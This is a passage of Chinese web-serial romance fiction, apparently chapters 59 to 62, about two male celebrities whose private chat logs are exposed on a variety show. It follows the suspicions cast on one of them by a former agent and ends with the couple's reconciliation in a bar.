撑到一半的伞突然又折返回去,陆屿洲摸出手机,先发给郝景:“你之前说过的那个读唇语很厉害的朋友,能推给我一下吗?” 随后又发给节目组的工作人员:“第一天晚上酒吧的删减片段可以发我一份吗?” 工作人员回得很快:“好的陆老师,不过那天晚上一共删了两段,一个是季老师跟初禾老师卡座接吻那个,另一段就是您喝醉之后拉着季老师不放,你要哪一段啊?” “第一……” 陆屿洲还没打出去,又火速道:“第一和第二段都要,你都发我一下吧。” “好的,那等会儿我直接在宣发现场给你?” “好。” * “好啊,我现在推给你,不过你要读唇语的干什么?” 叮咚! 陆屿洲在开车,放在旁边的手机突然亮了一下。 正闭目休息的季沨被铃声吵了一下,懒散睁开眼皮:“陆屿洲,有人给你发消息。” “没事儿,不重要,”陆屿洲连看都没有看,随口道,“不然你帮我回了就行。” “不重要你让我回什么?” 再说了,他俩好像也没有到可以互相看手机的地步。 季沨闭上眼睛继续睡觉,长长的睫毛覆盖下来:“等你下车自己回吧。” 陆屿洲从后视镜里看了他一眼。 * “陆老师,”陆屿洲一到门口就被人叫走,“这边这边。” “你要的片段都在这里了,你看看要选哪一段?” “好,谢谢你。” 陆屿洲在微编室里坐下来,看着屏幕上已经选好的片段。 节目组的工作人员将第二段放在了上面,于是陆屿洲一点开,便看到喝得醉醺醺的,脸颊绯红,跟个傻子一样拽着季沨的衣角:“别走……季沨。” 自己当时这么像个白痴吗? 陆屿洲拧紧了眉,手指抖了半天试图将这一段给跳过去。 还好摄像很快将画面切到旁边的季沨。 镜头里,季沨一只手把玩着手中的酒瓶,垂眸无奈地望了他一眼。 他目光堪称温柔,起码是陆屿洲那个时候在清醒的季沨身上看不到的温柔:“没走。” “笨蛋,”季沨伸手替他撩了一下额头潮湿的流海,“怎么把酒全喝了,胃里难受吗?” 陆屿洲摇摇头:“你调的。” 他当时应该是想说因为是你调的,但是喝醉了的陆屿洲说话都断断续续的,不过还好,季沨居然听懂了:“好,等我一会儿。” 季沨将衣袖塞给他让他牵着,又看了那边的摄像:“这就不用拍了吧,等会儿播的时候把这段剪了,醉酒对陆老师形象不太好。” “哦好好的季老师。” 剩下就是摄像机子晃动的画面,摄像的镜头往下一降,正好拍到季沨将手里的酒瓶往酒架上放。 陆屿洲觉得季沨刚刚哄他的样子实在是温柔极了,于是只好将进度条拉到开口,将播到自己的地方跳过去,又观看了一遍。 如此反复五六次,已经从季沨嘴角勾起的弧度,说话时的尾音,衣领上的配饰,包括握着酒瓶时指节曲起的弧度都一清二楚了。 等等……指节? 陆屿洲隐隐皱起眉,手上的鼠标不断放大,一直到季沨手中的酒瓶上。 又将摄像不小心拍到的收尾画面翻出来,望了眼上面的酒架。 整整过了两分钟,指尖才重新动了动,换了下一个视频。 是季沨和初禾在卡座上那一场似是而非的接吻。 从陆屿洲当时的角度看,这的确很像是接吻,但是节目组现在放出这个片段是正面角度的。 可以很明显地看到季沨和初禾借位的全过程,两人之间分明还隔了一整副扑克牌的距离没能碰上。 但即便如此陆屿洲也看不下去,一只手挡着初禾,却看到两人在靠近之时隐隐交谈,随后,季沨贴在初禾的耳边,嘴唇动了动。 “这一段,”陆屿洲猛地抬起头来,“能帮找一下侧机位的吗?” 第60章 第六十章 在剪辑室里耽搁那么久, 等陆屿洲准备踏上舞台的时候,其他七个人热场游戏都玩半天了。 “选择微信最上面的聊天公开两页聊天记录——” “不愧是季老师,一上来就抽了个这么大的!!!” “快快快快快我们要看我们要看!!!” 江沼和何皎皎当然不会放过这样的好机会, 一把就将季沨的手机夺了过来,对着他的人脸解了锁, 随后猛地对准镜头。 压根不用网友们东猜西想,只看一个备注就知道那人是谁——【陆屿洲 (*^▽^*)】 如果还是不够明确, 大可看一下聊天记录的第一页: 陆屿洲:【季沨季沨, 能不能把我的备注改成这个?】 季沨(★>U<★):【为什么?】 陆屿洲(*^▽^*):【没事儿, 就是觉得很对称[小狗捧心]】 季沨(★>U<★):【改好了。】 陆屿洲(*^▽^*):【截图。】 陆屿洲(*^▽^*):【好啦,现在我们连备注都是情侣的了。】 季沨(★>U<★):【幼稚。】 陆屿洲(*^▽^*):【[小狗捧花]】 季沨于是就没有再回复了, 但是另一边的白色聊天框似乎还在喋喋不休—— 陆屿洲(*^▽^*):【季沨, 我要去工厂了!】 陆屿洲(*^▽^*):【等会儿要跟设计师沟通细节, 大概需要一个半小时,可能不能及时回你,你要是找我的话可以直接给我打电话,我给你设置了特别铃声的。】 很显然, 季沨正在拍戏, 而且也没有什么重要的事情,但是陆屿洲可不管这个,依然喋喋不休—— 陆屿洲(*^▽^*):【季沨, 我晚上要跟设计师他们一起吃个饭。】 陆屿洲(*^▽^*):【给你点了口蘑汤和虾仁意面,虽然你在减脂, 不过碳水还是要吃的!】 陆屿洲(*^▽^*):【到啦!】 陆屿洲(*^▽^*):【[图片消息]】 陆屿洲(*^▽^*):【桌上有三位男士两位女士, 他们让我坐中间, 不过两边的人我都不怎么熟,你放心, 我不会喝酒的,等会儿吃完饭跟你报备。】 但是没等到吃完饭,他就自己把消息发过来了—— 陆屿洲(*^▽^*):【这个菜感觉你会喜欢,我问了服务生这个叫腌笃鲜,等我学一下回家给你做。】 陆屿洲(*^▽^*):【他们开始应酬了,不喜欢,好想你。】 陆屿洲(*^▽^*):【还没有下戏吗?晚饭不按时吃对你胃不好,给你买的你的豆浆你让助理拿了吗?】。 陆屿洲(*^▽^*):【[图片消息]】 陆屿洲(*^▽^*):【我结束啦!路上遇到小猫,是不是很像你演唱会第二套那个胸针上的!之前忘记说了,你戴这个很可爱。】 陆屿洲(*^▽^*):【还没有下戏吗?还没有下戏吗?还没有下戏吗?我要去骂杨阶了[怒火]】 在陆屿洲真的要赶去剧组杀人之前,季沨终于回复了: 【之前NG了几次,刚下。】 【那就好那就好!】陆屿洲立刻回复【你那里冷不冷,让明文送你回去,家里的养生壶里我煮了银耳粥的。】 【知道了,你吃完饭赶紧回去吧。】 【好。】 陆屿洲安静了没一会儿,突然发来了一个视频。 江沼点开一看,咖啡店昏黄的灯火下,陆屿洲手上抱着一只刚刚照片里的橘猫,发丝看起来像是镀了一层暖色的光,望着镜头,轻声道: “今天也很喜欢你。” “晚安,季沨。” 拿手机的何皎皎愣住了,点视频的江沼也愣住了,足足过了半分钟,才和台下的观众一起爆发出惊呼: “卧槽!!!!!” “家是什么意思?你俩同居了吗?” “所以陆老师说要追的那个人真的你吗?” “卧槽!!!!!”台下的喊声几乎要把场馆的天花板给震破,“卧槽!记录是真的!卧槽!卧槽!卧槽!! 妈的卧槽!” 可就在这样的群情激愤的状态下,季沨那个手机的对话框居然又闪了一下。 陆屿洲(*^▽^*):【想喝你调的酒了。】 【今晚可以调酒给我喝吗,哥哥?】 * 两个小时后,【粉丝群-宇宙行星】: “卧槽!居然是季沨!” “虽然当初洲洲说在追人的时候已经有了心理准备,但是——” “居然是季沨!!!” “安啦,不仅是季沨,而且人家还是顶流呢,而且还是洲洲上赶着追人家呢,而且还要我们洲洲洗衣做饭做家务呢[微笑][微笑]。” “看到了吧姐妹们,远嫁这种事,就算是陆屿洲都不行,父母都在国外,国内名气流量又没有人家大,只能忍气吞声伏低做小,千万不要远嫁啊姐妹们!!!” “?你们在说什么,这是节目组环节吧?????? ” 两个小时后,【粉丝群-四季如风】: “卧槽!居然是陆屿洲!” “虽然风风说有人追的时候已经有了心理准备,但是——” “居然是陆屿洲!!!” “安啦,虽然是陆屿洲,但是人家不仅做饭还关心风风,虽然出个门还汇报行程,会撒娇又小鸟依人,这不是和我们当初的设想一样吗?” “?可是他是1啊,而且还是模特啊,这种人一看就是那方面需求很高吧,我们宝宝那么柔弱纤细乖巧怎么能受得了这么夜夜日日地对待?!” “?你们在说什么,这是节目组环节吧??????” 两个小时,【粉丝群-不磕记录的永别了】 【哈哈哈哈哈放出来的聊天记录哈哈哈哈哈救命。】 【连粉丝都是这么般配,不愧是我的记录啊,这聊天记录我捡手机文学都不敢这么写啊卧槽!】 【好啦,我们记录不仅颜值优异实力能打体型绝配蒸煮把糖喂到撑,而且他连粉丝都能磕啊,到底是谁还不懂记录啊真的是!】 陆屿洲的聊天记录迅速占领热搜,虽然唯粉们极力想证明这也许只是节目组的手段,可惜聊天记录一放出来,磕的人似乎更多了。 再加上两位正主都不回应不拒绝的模糊态度,似乎已经在隐隐暗示。 季沨这个时候当然没办法回应,陆屿洲则是……暂时没顾得上。 他今天约了一个人。 陆屿洲边走边给季沨发消息:【我来见郝景的一个朋友,吃个晚饭,你拍完广告早点回去。】 【好,】季沨回道,【你也早点回去。】 陆屿洲要见的确实是郝景的朋友——那个唇语师。 从剧组看完剪辑片段出来,郝景推过来的那个人就回信了。 包厢是一早就定好的,陆屿洲推开门:“你好,我……” 话音戛然而止,里面是一个他很熟悉的人。 季沨的前经纪人,郁容。 季沨和前东家的解约可并不算和平,当初视频被爆说不定也有他的一部分,陆屿洲几乎立刻就拧起了眉:“怎么是你?” “怎么这么意外,陆老师?”郁容脸上倒是看不出任何惊讶的表情,“如果没记错的话,我们恋综第二期的时候应该还见过。” “不好意思,”陆屿洲拎起东西就要走,“找错人了。” “找错?” 郁容看了他一眼:“不就是想知道季沨跟初禾说了什么吗?” “其实远不用这么麻烦,我是他的经纪人,季沨的事情,没有人比我更清楚。” “谢谢,”陆屿洲手指拉开门,“不过我不需要。” “你是故意让季沨跟你一起去恋综的吧?” 郁容望着陆屿洲停下来的脚步:“找的宋骁,对吗?” “我一早告诉了他是从你那里得到的讯息,你猜猜以季沨的聪明,他会在第几期猜到这一点,第二期?第一期?还是说……” “早在他从我的手里接过通告,去往恋综之前?” “陆老师,”郁容看着陆屿洲停住的脚步,平静道,“我们现在能谈谈了吗?” 郁容这才开始泡茶,滚烫的沸水浇下,茶汤开始变得碧绿:“这块茶饼,还是季沨买的。” 陆屿洲没接话,眉目低垂,看不清什么神色。 不过郁容似乎也不需要他回应什么:“我们刚见季沨的时候,就是那段视频里。” “季沨从酒店里跑出来,正好遇上了在那边办事的我和赵总。” “他求我跟赵总救他,说他以后一定报答我们。” “你看过视频,也知道当时的季沨应该是什么样子,”郁容说,“这个圈子里长得好看的太多了,但是长成他那样……又能恰到好处地让人有占有欲和性.欲的,其实并不多。” 陆屿洲不太喜欢他这个形容,抬眸冷冷地看了他一眼。 可是郁容表情如常,笑盈盈地冒着热气的茶递给他:“赵成良喜欢喝茶,这是季沨拿了第一部片子的片酬,用了一半给他拍的。” “赵成良当时喜笑颜开,说是这孩子知恩图报。” 茶被重新泡了一道,鼻尖还能嗅到淡淡的茶香,郁容轻轻抿了一口,似乎有些能理解赵成良为什么会喜欢了:“赵成良是个商人,但是成功的商人很难避免一个毛病——过分自大。他以为季沨只是个这样傻兮兮好骗的小白兔,以为自己从酒店那里拿了监控,就能拿捏住他。” “以为他演技不好专业又不行,只是靠着公司砸钱,才一路混到这个位置,所以这么多年,从来没有吝啬过放在他的身上的资源,因为赵成良料定了他不敢离开,也离不开,但是现在——” “现在的结果,你也看到了。” 季沨刚离开星图,转身就上了一个台阶,不管是资源还是商业能力,甚至包括之前的花瓶标签都脱得干干净净。 反而是赵成良因为公司股价下滑,资金链崩盘,一而再再而三地求着联系季沨。 “所以呢?”陆屿洲说,“刚愎自用,功力狠毒,他就算是破产了也是他活该。” “或许吧,不过……”郁容转了下茶杯,“你难道没觉得,最后翻盘的那个视频,来得有些太过巧合了吗?” “仔细想想也知道,这种级别的酒店不可能让客人觉得他们有泄露隐私的风险,刘庚自己东西都没吃上,会放一个摄像让人专程记录自己的罪证?” “剩下的……那个房间里可就只剩一个人了。” 季沨。 走投无路的季沨,看起来狼狈又绝望的季沨,不知所措地跑到楼下,却正好能遇到星图的老总和,当时最厉害的金牌经纪人,恰到好处地将自己的软肋交到了他们手上。 陆屿洲握着那杯递来的茶却没有喝,目光沉沉:“你说这些是什么意思?” “不够清楚? ” 郁容看他一眼:“那你知道季沨是什么时候开始留长发的吗?” 这实在是两个毫不相干的话题,郁容怕陆屿洲听不懂,于是解释道:“因为古装剧带发网会不舒服,一般有经验的演员,都会在开拍之前提前留点头发,前面的部分就用自己的真发代替。” “而季沨开始留长发的时候,我给他接《帝台春》两个月之前。” “他提前了两个月就知道了我要给他接戏,却故意搞砸了试戏,让公司在解约之前焦头烂额失去戒心,以为他依然是那个离了团队就寸步难行的废物花瓶,后来——” “你应该已经看到了。” “季沨空前绝后风风雨雨在热搜上挂了整整一周,在流量断层时打了一个完美的反转,他手中早就有当初的视频,却故意激怒赵成良,一直等到关注度最大的时候才开始放杀手锏。” “多么完美,多么漂亮的一场战役,整个人圈子再也没有这样教科书式的流量跃升了。” “我,刘庚,赵成良,愤怒的网友,粉丝,包括所有企图在这件事里浑水摸鱼的人,所有人都成了他脚下的踏板。” “当然,”郁容望着陆屿洲俊逸的面容,“还有你。” 陆屿洲握着茶杯的手指一紧,听到郁容道: “你帮他完成了前面所有的铺垫,帮他断了刘庚反扑的后路,帮他上下打点不让有关部门过早发声的时候,有没有想过——” “他其实早就知道这一切。” “其实你也有过怀疑吧?”郁容说,“要不然,你也不会通过郝景找到我。” “我不用看也知道你想给我的是什么。” 郁容望着陆屿洲逐渐变差的脸色:“你是不是想知道……他是不是早就知道是你将他带上了恋综,知道你和宋骁的关系,知道你会出现,所以故意接了郝景的邀约,知道你会吃醋,所以才故意和初禾暧昧?” “我现在就可以告诉你——是。” “季沨的聪明,连我都不是对手,你那点伎俩在他面前又算得了什么?整个内娱,只有你刚刚回国一无所知背景雄厚情感干净,你难道就没有在想,他找你是为了什么?” 陆屿洲手中的茶汤不断颤动,忍不住喝道:“郁容!” “不敢听了吗?那你要不要看看,”郁容继续道,“两年前,季沨从那个房间出来的时候,我曾经带他去做过药检。” “单子是他自己取的,不过我留了个心眼,跟医生多要了一份。” “你想不想知道……网上谈起来演技那么差的季沨,视频里看起来那么狼狈的季沨,被所有人……包括你,怜惜心疼着的季沨,下楼时正要遇到我和赵成良的季沨——” “那一天,到底有没有真的被下药?” 60-65 第61章 第六十一章 “陆屿洲?陆、屿、洲——” 郝景的手在他眼前挥了挥:“你在想什么呢?” “靠, 老子都失恋了你能不能专心一点!哪有你安慰个人还走神的?” 陆屿洲这才转过头来望了他一眼:“你什么时候恋爱过?” “?没有恋爱就不能失恋了吗?老子单恋不行吗?老子番里的女神被人写死了不行吗?”郝景一把将手中的酒瓶推给他,“反正我不管,你还是不是兄弟, 是兄弟现在就陪我喝酒,快快快!” 郝景说着将手中的酒杯递给他, 谁知道东西还没递出来,自己倒先咔嚓一声被人征用了肖像权。 郝景勃然大怒:“拍我干什么?” 陆屿洲把照片发给季沨, 又配上文字:【郝景失恋了让我陪他喝酒, 我不喝醉, 等他发泄完了就回去。】 “你干嘛呢?”郝景望他一眼,“你不会是在报备吧?” “嗯。” 陆屿洲淡淡地应了一声, 接过郝景的酒却放在一旁:“我就不喝了, 我酒量不太好, 在外面喝酒容易醉,等会儿还要开车。” “不是吧,你都多大人了,出来跟我喝个酒还需要报备?” 郝景一脸恨铁不成钢地看着他:“你知道你当初那个聊天记录放出来, 外面都是怎么评论你的吗?” “他们都说你是舔狗! 舔狗你懂吗?” “想当年你在纽约时装周大出风头的时候, 还是牵着地狱三头犬的冥王哈迪斯,现在好了,王没了, 你成狗了。” 郝景跟陆屿洲打小就认识,小时候陆屿洲家里经常没有人又沉默寡言, 郝景对他几乎是一种看弟弟的娘家人心态, 现在背井离乡不顾名声跑到这里给人倒贴洗衣做饭, 郝景是真的看不过去:“怎么,他连理都不理你几句, 不会回家还要设门禁吧?” “他今天有个广告要拍。” 陆屿洲没有跟他多说情感生活的意思:“结束得晚,不吃东西容易胃疼。” “他吃不吃东西管你什么事?这么大的人了离了你就不会吃东西了?” “他……” “我不听啊,今天我失恋了,不想听你分享恋爱故事,”郝景下巴一抬,示意他面前的酒杯,“喝酒,快点。” “我要开车。” “我给你叫代驾。” 酒杯递到嘴边,陆屿洲这才淡淡地抿了一口,目光低垂着,盯着蔚蓝的酒液不知道在想什么。 “你怎么了?怎么看着比我这个失恋的脸色还差?” “我……” 陆屿洲还没来得及说话,手机便叮咚一声。 季沨这次倒是回得很快:【好,你酒量不好,少喝一点。】 这简直和陆屿洲刚刚跟郝景说的话差不多。 陆屿洲的手指在屏幕上点了点,最终还是没有按下去,将屏幕息了放在一旁。 “没什么。” 想起郁容刚刚说的话,终于喉结一滚,仰头把那杯酒给喝了。 “哎哎哎,”郝景正要跟他相碰的杯子停在半空,只好自己干了一杯,随即开始哭诉,“你知道我这次是怎么失恋的吗?” “我之前看上了一个人。” “哎哟,我为了她特意从国外跑回来,费尽心思地策划着想要跟他上一个节目,看着他被人骂我那个着急啊,求爷爷告奶奶就差把我家祖坟给挖了捧到他手上。” “结果人家呢,好处也有了,牵手约会情话一套一套的,我都以为自己要恋爱了,哎你猜怎么着? ” “她压根没有跟我确认关系,也没听他说过喜欢我,什么都做了但是什么名分都没有,”郝景拿起酒瓶给陆屿洲填满,“小洲你说这个叫什么?钓着、备胎、还是玩玩?” 陆屿洲不是傻子,目光阴沉地看了他一眼。 “你可别对号入座啊,我说的是我喜欢的那个,跟你那个季沨可没有什么关系。” “来来来,”郝景跟他的杯子碰了一下,“喝酒。” “我不喝了,”陆屿洲把杯子一推,冷冷道,“你要是没什么事,我就先走了。” 他大多数情绪都淡淡,看起来高冷不太好惹的样子,但是郝景却知道,这人脾气其实挺好的。 现在这种,才是真的生气了。 但是陆屿洲因为一个追不上的季沨跟他生气,在郝景眼里更像个一厢情愿死命要嫁的叛逆孩子了:“行吧,不喝酒喝点饮料总行了吧。” “说好了来陪我喝酒,你自己没坐几分钟就走是怎么回事,”郝景把杯子里的橙汁推给他,“起码把这个喝了吧。” 陆屿洲这才重新端起杯子喝了下去。 只是饮料刚一入肺腑,眼皮沉沉地眨了眨,靠着沙发倒了下去。 “从小喝完酒混饮料就犯困,还偏偏不长记性。” 郝景将扔了条毯子在他身上,愤愤道:“跟朋友喝个酒留宿又怎么了,你知道不知道感情这种事,你越是上赶着人家就越是不珍惜。” “你今天就是不回去又能怎么样,我倒要看看他是不是真的会在意你!” 190的大男人,郝景也没有搬运陆屿洲的兴趣,确认沙发够大他不至于掉下来或者冻死,就扭头回房间睡觉去了。 结果过了十点,陆屿洲的手机还真的响了起来。 那首铃声和其他的来电都不一样,是当初陆屿洲在恋综给季沨唱过的《Butterfly》 陆屿洲一听到前奏,便挣扎着想要起身,可是眼皮好像是黏了什么一眼怎么都醒不过来,手臂动了动,这样一碰,反而将手机扫到了沙发下。 * “季哥?季哥?” 新来的小助理还不像莫可和明文那样知道原委,只是看着季沨突然拧起了眉,小心地问:“怎么了吗?” “没什么。” 季沨一直等着无人接听的系统声响起来后才挂断电话。 陆屿洲一般不会不接他的电话,哪怕是有时候去节目不方便,也会提前两个小时就跟他说了一遍又一遍。 “没什么。”季沨又重复了一句,抬手捏捏眉心,垂下的视线落在聊天框上,指尖在输入框的敲敲打打,还没来得及发送,一条消息就跳了出来。 是郁容。 他只发了一句话:“我见过陆屿洲了。” 但是他们之前合作那么久,只需要这一句,季沨就能明白发生了什么。 握着手机狠狠地拧起了眉。 “季哥?季哥?”小助理担忧道,“你没事吧?” “没事,”季沨从他手中拿过车钥匙便往前走,“今天我自己开车吧,你不用送我回去了。” “不行啊季哥,”小助理战战兢兢,“你前几天刚被私生追车过,陆老师交代了我好几遍,要我送你回家给并且他拍照汇报的。” 季沨倒也没生气,只是一只手打开车门,平静道:“那你听他的还是听我的?” 很奇怪,明明陆屿洲看起来才是平时冷脸最多的那一个,但是季沨这样回过头来的时候,他却从心里感觉到害怕。 更何况,即便是只跟了季沨没多久,也对他们的家庭地位问题有所了解,小助理立刻道:“我,我听您的。” “打车的钱我来报销。” 季沨说完这话,猛地一把方向盘,引擎轰鸣声在地下停车场嗡的一声,扬长而去。 * 郝景是被门口传来的巨大轰鸣声吵醒的。 “卧槽!”他提起裤子就往下跑,“卧槽地震了!” 踩着床单绊了一脚,这才看到门口站着的陆屿洲,郝景看了眼房间上的挂钟 ,揉揉眼睛: “你神经病啊陆屿洲!大晚上拆我门干吗?” 陆屿洲冷冷地望着他,目光看起来要结冰:“我手机呢?” “谁拿你手机了?” 郝景拨了一遍电话,默认的手机铃声在沙发下幽幽响起,陆屿洲一脚踹过去,砰的一声 ,沙发移了位。 这下就算是傻子也能看出来,这人在生气。 “陆屿洲你是不是傻逼,我不就是让你在这里过个夜,怎么了,你是追个人连自己生活都不要了是吗?” 陆屿洲抓着手机解开锁,上面有两个未接来电,都是季沨的。 一个是十点,一个是十二点。 聊天记录没有新的消息传过来,陆屿洲点开那人的头像,季沨发了一条朋友圈—— 一张拍好的酒的照片,湛蓝如同天空一样的色彩,只在杯底带了一点微微的暖色。 背景里霓虹闪烁,看样子应该是酒吧。 “你看看,我都说了,你这么上赶着,可是人家把你当什么? ”郝景说,“你巴巴地要赶回去,但是人家呢,嘿,你不在正好,方便他喝酒去了。” “我告诉你这种人就是……” “他是我喜欢的人!” 陆屿洲冷声打断了他。 “你喜欢他?你喜欢他喜欢你吗?”陆屿洲长这么大没跟他这么吵过架,郝景总算理解那些看着闺蜜找了个渣男的女生是什么心情,“你知道他这种行为叫什么吗?这就是欲擒故纵。” “你现在这么生气,这不就是他想要的!” “你就一晚上不回家他就跑去跟别人暧昧,以后你就再也不敢不回去了,你自己问问他是不是这样想的,都给人卖了还数钱呢! ” “就季沨这个段位,你放在他手里早晚给玩死,他知不知道他……” “我不想知道!” 陆屿洲一脚将沙发给踹了回去,客厅里砰得一声,郝景终于安静了下来。 “你很了解他吗?”陆屿洲冷笑一声,“为什么你们一个个地都这么自以为是,都觉得自己比我还要了解他?” “你跟说过几次话见过几次面,不过是网上道听途说的一些言论,你凭什么这么说他?” “我再说一次,他是我喜欢的人,是我决定要共度一生的人,”陆屿洲深深看他一眼,“郝景,你如果还当我是兄弟,这些话以后就不要再说了。” 陆屿洲说完这话,没有再回头,抓起外套就出了门。 * 代驾开车不如陆屿洲快,等他到达“陌路”的时候,已经是三点半了。 那种模糊的红□□带是每个酒吧的标配,其实不一定是“陌路”。 但是陆屿洲就是直觉地觉得——会在这里。 他下了车戴上口罩,也许是阮嘉提前跟人打过招呼,陆屿洲进门的时候一路畅通无阻,甚至一眼就在酒吧的角落里见到了季沨。 季沨面前放着几只已经空了的酒杯,眸光低垂,领口敞开,嘴角带着淡淡的笑,旁边坐了一个小男生,正靠着他喋喋不休地说些什么,姿态看上去很是亲昵。 陆屿洲抚了下手上的腕表,抬步走了过去。 “打扰一下。” 没人知道陆屿洲是不是真的把郁容和郝景的那番话放进心里,但是他现在的样子确实很像是个吃醋的男朋友,手指扣在桌面上,冷冷地望了眼小男生:“我来接我男朋友回家,请问你是?” 清冷的嗓音从头顶传来,小男生一抬头看到陆屿洲的脸,又想起刚刚那一句男朋友,整个人毛骨悚然,哆哆嗦嗦地站起身:“陆陆陆陆老师。” “行了,你先回去吧,”唯有坐着的季沨不动如山,开口道,“签约的事隋易会跟你谈。” 小男生飞速拿着东西跑了。 陆屿洲在季沨的身边坐下,在人影重重的酒吧里将手揽上了他的腰。 季沨低垂着眼眸,陆屿洲不开口,他似乎也没打算挑破:“只是谈个合约,怎么找到这里来了?” “什么合约要在酒吧里谈?我再不过来,他都要贴在你身上了。”手中的酒被陆屿洲强行抢了过来,“喝了多少?” 陆屿洲从前吃醋不会这么强硬地宣示主权,季沨不知道他到底知道了多少,也不知道他会不会提起,但是如果陆屿洲真的打算装糊涂,他……季沨深吸了口气,语气如常:“没喝多少,我签他,当然是他喝的。” “哦,”陆屿洲一点头,酒杯在手里转了一圈,就在季沨以为他真的要这样轻飘飘揭过的时候,陆屿洲突然凑到他的耳边,“那季老师,这次调的多少度的?” 季沨浑身一颤,猛地抬头看了他一眼。 第62章 第六十二章 那一瞬间, 季沨便知道陆屿洲已经知道了。 他望着陆屿洲的眼睛,陆屿洲便不躲不避地回望他。 酒吧里人有驻唱,歌至高潮, 鼓点声在耳膜边起伏,像是胸腔里快要跃出的心跳。 “你……” 季沨欲言又止, 只有缩在身旁的手指颤了颤。 他不知道陆屿洲到底知道了多少,这种时候, 任何询问都可能会暴露底牌。 陆屿洲生平第一次在季沨见到这样犹豫又惶惑的神情。 他之前分明连让赵成良发那种全网黑料的时候都面不改色。 郁容口中算无遗策心机深厚的季沨, 郝景口中玩乐人生的季沨。 陆屿洲想, 他们曾经见过季沨现在的样子吗? 这样惴惴不安的样子。 陆屿洲只在床上才让季沨露出过这种表情。 于是他一把揽住季沨的腰,舌尖闯开口腔, 去寻找那一点味道:“不知道的话……” “让我尝尝, 季老师?” 季沨的舌尖是软的, 嘴唇是软的,腰也是软的。 他在床上对于任何花样都很配合,好像连羞耻都少得可怜。 陆屿洲吻得急了才会从喉腔中泄出一点呻.吟,手指却下意识地往陆屿洲胸膛上摸——季沨是向来不吝于自己舒服的时候让别人也舒服的。 他都没有见过季沨这个样子。 所以……如果他们都没有见过季沨这个样子。 那个故事为什么不能换一种解读呢? 如果季沨在出道之前就曾经有过一个喜欢的人, 他记得他的生日, 记得他的喜好,在即将离开这个圈子的时候,隔着屏幕见到了万众瞩目的他。 于是季沨又重新踏了回来。 他不知道那个人什么时候会回来, 他们行业的交集本就不太多,要用最快的速度站在最高的位置才能有能力选择相见的时机。 他找到了当时最好的公司和经纪人, 明明是陷阱还是踏了进去, 明明有能力却只能选择隐藏。 因为快速成长的顶流只能是商品。 但是商品是没有自主选择和恋爱的能力的。 合约快要到期的时候, 那个人回来了。 他好像并不记得多年前那场遇见,季沨与他隔着人群相望, 一步一步地将他圈进自己的安全领域。 提出结束的时候,季沨也曾像现在这样不安吗? 陆屿洲吻得太急,季沨只能被迫后仰,长发刚刚散在肩头,就被陆屿洲捞在手心。 在庄园第一次见季沨的时候,他好像也是这样的长发。 为什么不能单纯是因为漂亮呢? 在陆屿洲早起两个小时精心处理自己的头发只为和心上人说上一句话的时候,为什么季沨就没有费尽心思地对待过每一次会面呢? 他只是不太有安全感。 第一次见面就得到的东西需要反反复复地求证。 需要在恋爱之前走完恋爱的所有步骤才能确认自己得到了爱。 所以季沨孤注一掷,为什么不是只想好好谈个恋爱呢? 流量聚得太多,恋爱必然会遭到反噬,圈子里这样的事情实在并不罕见。 所以季沨早在两年前就断了粉丝的念头,于是他任由赵成良放出视频,明明握着证据却任由谣言发酵,等到几乎是快要被封杀的时候才发声。 季沨重新出现在镜头前的第一件事情,不是去综艺也不是任何商务,而是坐在河边的草坪上,轻声宣布:“可能会谈一场恋爱吧。” 粉丝们觉得他受了委屈,路人们觉得他是无妄之灾,没有人会苛责一个刚刚经过事业巨大转折的人,连带着不会苛责那个可能会出现的另一半。 季沨尽可能地保全了粉丝和恋爱这件事可能带来的负面影响,没有让对方莽撞的行为招致骂名。 虽然代价是他一步之差就会失去的事业和热搜上整整七天铺天盖地的污蔑。 为什么故事不能是这样呢? 陆屿洲吻完嘴唇又去吻眼睛,季沨永远带着笑的眼睛,对他永远温柔的眼睛。 “季沨,”滚烫的吻落在眼皮上,陆屿洲声音沙哑,“我好像有点醉了。” “真的吗?” “嗯,”陆屿洲皱起眉,眼眶有些发红,“我心脏不太舒服。” “心脏?” 他的样子看起来好像确实很难受,季沨立刻将手伸到陆屿洲的胸膛:“这里吗?” 陆屿洲摇了摇头。 季沨又换了一个地方:“这里?” 陆屿洲盯着季沨拧紧的眉头,趁着他俯身寻找位置的时候,突然一低头,朝着季沨眉心吻了一下:“我骗你的。” 他的瞳孔瞬间睁大了,漂亮珠子一样,完全没想到之前老实到连抱一下都要再三询问的人突然会这个:“陆屿洲,你……” 陆屿洲突然轻轻地笑了下。 他想,为什么全天下都觉得他是个总是被蒙在鼓里的傻子? 他怎么可能不知道季沨所有房子里一样的密码,不知道他无数次望向自己目光的欲言又止,不知道他因为说起从前时快要掉落的泪光。 他不说,只是担心挑破之后他们之间便再无退路,只是因为他怕失去就不敢踏出那一步,只是因为他怯弱,并不是蠢笨。 “你真好骗,”陆屿洲又吻了一下季沨的眼睛,“季沨,你好容易被我骗。” 他并非看不出来季沨之前是故意让他在意,并非不知道季沨跟初禾跟这个小男生其实并没有什么关系,并非不知道季沨可能猜出了是谁让他去的恋综。 但那又怎么样呢? 杰西卡说的手段他看得出——没有安全感的人才需要用这种方式获得在乎,如果他真的对他们的感情有足够的自信,很多事情其实是不必做的。 不过没关系,这不是季沨一个人的错。 是他迟了那么久才回来,是他不记得之前发生过的事情,是他一直退缩迟疑捉摸不定。 所以他愿意重新给他的爱人安全感,愿意配合季沨所有的试探,愿意事无巨细地汇报着自己的行程,愿意连吃饭几个人失联几分钟都要告知对方。 愿意每天对季沨说一句喜欢。 他并不是郝景眼中的失去尊严的舔狗。 季沨也不是多么精明的猎人。 他们只是花了很多时间走了很多弯路才在一起的笨蛋,以前是季沨教他,现在也轮到他来告诉季沨。 陆屿洲又吻了一下他的唇角:“别担心,我以后不会骗你了。” “谁管你,我……” “你说过让我只听你的话的,”陆屿洲捏住他的脸止住声音,打断道,“季沨,我就只听你的。” 季沨漂亮的脸颊被他拧得一团糟,唯有那双眼睛依然清澈温柔,陆屿洲定定地望着他的眼中的自己。 只有在爱里的人才会知道,有些爱,是只需要一个眼神就能泄露的。 陆屿洲一字一句道:“季沨,你说让我以后都不骗你。” 季沨不动,陆屿洲的手就沿着他的腰身摸进去,重复道:“快说。” “嗯……”季沨忍不住轻哼了一声,“你以后都不要骗我。” “好。” 季沨一说,他就乖乖点头,将季沨拉近一点,又亲了一下:“说让我以后都只喜欢你一个人。” 季沨微微一怔,那根手指就用了点力,催促道:“快说。” 漂亮的眼尾开始变得潮红,嗓音沙哑:“你以后都只能喜欢我一个人。” “好。” 